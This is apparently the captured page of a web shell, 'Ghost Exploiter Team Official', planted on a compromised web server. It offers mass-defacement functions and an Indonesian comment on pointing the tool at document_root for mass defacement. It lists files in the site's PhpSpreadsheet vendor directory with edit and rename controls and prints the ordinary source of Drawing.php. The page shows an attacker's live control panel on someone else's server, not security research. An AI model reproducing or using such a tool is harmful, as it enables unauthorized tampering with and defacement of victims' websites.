Ghost Exploiter Team Official
Mass Deface
Directory >>
/
var
/
www
/
html
/
back
/
vendor
/
phpoffice
/
phpspreadsheet
/
src
/
PhpSpreadsheet
/
Worksheet
/
Mass Deface Auto Detect Domain
/*Ubah Ke document_root untuk mass deface*/
File / Folder
Size
Action
.
-
type
file
dir
+File/Dir
AutoFilter
--
ren
Drawing
--
ren
Table
--
ren
AutoFilter.php
40.683KB
edt
ren
AutoFit.php
1.679KB
edt
ren
BaseDrawing.php
11.512KB
edt
ren
CellIterator.php
2.063KB
edt
ren
Column.php
3.97KB
edt
ren
ColumnCellIterator.php
5.414KB
edt
ren
ColumnDimension.php
3.294KB
edt
ren
ColumnIterator.php
4.385KB
edt
ren
Dimension.php
2.235KB
edt
ren
Drawing.php
7.759KB
edt
ren
HeaderFooter.php
11.167KB
edt
ren
HeaderFooterDrawing.php
0.436KB
edt
ren
Iterator.php
1.235KB
edt
ren
MemoryDrawing.php
8.676KB
edt
ren
PageBreak.php
1.341KB
edt
ren
PageMargins.php
3.22KB
edt
ren
PageSetup.php
26.651KB
edt
ren
Protection.php
10.413KB
edt
ren
Row.php
3.977KB
edt
ren
RowCellIterator.php
5.833KB
edt
ren
RowDimension.php
2.666KB
edt
ren
RowIterator.php
3.527KB
edt
ren
SheetView.php
3.938KB
edt
ren
Table.php
16.886KB
edt
ren
Validations.php
4.556KB
edt
ren
Worksheet.php
118.825KB
edt
ren
<?php namespace PhpOffice\PhpSpreadsheet\Worksheet; use PhpOffice\PhpSpreadsheet\Exception as PhpSpreadsheetException; use ZipArchive; class Drawing extends BaseDrawing { const IMAGE_TYPES_CONVERTION_MAP = [ IMAGETYPE_GIF => IMAGETYPE_PNG, IMAGETYPE_JPEG => IMAGETYPE_JPEG, IMAGETYPE_PNG => IMAGETYPE_PNG, IMAGETYPE_BMP => IMAGETYPE_PNG, ]; /** * Path. * * @var string */ private $path; /** * Whether or not we are dealing with a URL. * * @var bool */ private $isUrl; /** * Create a new Drawing. */ public function __construct() { // Initialise values $this->path = ''; $this->isUrl = false; // Initialize parent parent::__construct(); } /** * Get Filename. * * @return string */ public function getFilename() { return basename($this->path); } /** * Get indexed filename (using image index). */ public function getIndexedFilename(): string { return md5($this->path) . '.' . $this->getExtension(); } /** * Get Extension. * * @return string */ public function getExtension() { $exploded = explode('.', basename($this->path)); return $exploded[count($exploded) - 1]; } /** * Get full filepath to store drawing in zip archive. * * @return string */ public function getMediaFilename() { if (!array_key_exists($this->type, self::IMAGE_TYPES_CONVERTION_MAP)) { throw new PhpSpreadsheetException('Unsupported image type in comment background. Supported types: PNG, JPEG, BMP, GIF.'); } return sprintf('image%d%s', $this->getImageIndex(), $this->getImageFileExtensionForSave()); } /** * Get Path. * * @return string */ public function getPath() { return $this->path; } /** * Set Path. * * @param string $path File path * @param bool $verifyFile Verify file * @param ZipArchive $zip Zip archive instance * @param bool $allowExternal * * @return $this */ public function setPath($path, $verifyFile = true, $zip = null, $allowExternal = true) { $this->isUrl = false; if (preg_match('~^data:image/[a-z]+;base64,~', $path) === 1) { $this->path = $path; return $this; } $this->path = ''; // Check if a URL has been passed. https://stackoverflow.com/a/2058596/1252979 if (filter_var($path, FILTER_VALIDATE_URL) || (preg_match('/^([\w\s\x00-\x1f]+):/u', $path) && !preg_match('/^([\w]+):/u', $path))) { if (!preg_match('/^(http|https|file|ftp|s3):/', $path)) { throw new PhpSpreadsheetException('Invalid protocol for linked drawing'); } if (!$allowExternal) { return $this; } // Implicit that it is a URL, rather store info than running check above on value in other places. $this->isUrl = true; $ctx = null; // https://github.com/php/php-src/issues/16023 // https://github.com/php/php-src/issues/17121 if (preg_match('/^https?:/', $path) === 1) { $ctxArray = [ 'http' => [ 'user_agent' => 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36', 'header' => [ //'Connection: keep-alive', // unacceptable performance 'Accept: image/*;q=0.9,*/*;q=0.8', ], ], ]; if (preg_match('/^https:/', $path) === 1) { $ctxArray['ssl'] = ['crypto_method' => STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT]; } $ctx = stream_context_create($ctxArray); } $imageContents = @file_get_contents($path, false, $ctx); if ($imageContents !== false) { $filePath = tempnam(sys_get_temp_dir(), 'Drawing'); if ($filePath) { $put = @file_put_contents($filePath, $imageContents); if ($put !== false) { if ($this->isImage($filePath)) { $this->path = $path; $this->setSizesAndType($filePath); } unlink($filePath); } } } } elseif ($zip instanceof ZipArchive) { $zipPath = explode('#', $path)[1]; $locate = @$zip->locateName($zipPath); if ($locate !== false) { if ($this->isImage($path)) { $this->path = $path; $this->setSizesAndType($path); } } } else { $exists = @file_exists($path); if ($exists !== false && $this->isImage($path)) { $this->path = $path; $this->setSizesAndType($path); } } if ($this->path === '' && $verifyFile) { throw new PhpSpreadsheetException("File $path not found!"); } if ($this->worksheet !== null) { if ($this->path !== '') { $this->worksheet->getCell($this->coordinates); } } return $this; } private function isImage(string $path): bool { $mime = (string) @mime_content_type($path); $retVal = false; if (strpos($mime, 'image/') === 0) { $retVal = true; } elseif ($mime === 'application/octet-stream') { $extension = pathinfo($path, PATHINFO_EXTENSION); $retVal = in_array($extension, ['bin', 'emf'], true); } return $retVal; } /** * Get isURL. */ public function getIsURL(): bool { return $this->isUrl; } /** * Set isURL. * * @return $this * * @deprecated 3.7.0 not needed, property is set by setPath */ public function setIsURL(bool $isUrl): self { $this->isUrl = $isUrl; return $this; } /** * Get hash code. * * @return string Hash code */ public function getHashCode() { return md5( $this->path . parent::getHashCode() . __CLASS__ ); } /** * Get Image Type for Save. */ public function getImageTypeForSave(): int { if (!array_key_exists($this->type, self::IMAGE_TYPES_CONVERTION_MAP)) { throw new PhpSpreadsheetException('Unsupported image type in comment background. Supported types: PNG, JPEG, BMP, GIF.'); } return self::IMAGE_TYPES_CONVERTION_MAP[$this->type]; } /** * Get Image file extention for Save. */ public function getImageFileExtensionForSave(bool $includeDot = true): string { if (!array_key_exists($this->type, self::IMAGE_TYPES_CONVERTION_MAP)) { throw new PhpSpreadsheetException('Unsupported image type in comment background. Supported types: PNG, JPEG, BMP, GIF.'); } $result = image_type_to_extension(self::IMAGE_TYPES_CONVERTION_MAP[$this->type], $includeDot); return "$result"; } /** * Get Image mime type. */ public function getImageMimeType(): string { if (!array_key_exists($this->type, self::IMAGE_TYPES_CONVERTION_MAP)) { throw new PhpSpreadsheetException('Unsupported image type in comment background. Supported types: PNG, JPEG, BMP, GIF.'); } return image_type_to_mime_type(self::IMAGE_TYPES_CONVERTION_MAP[$this->type]); } }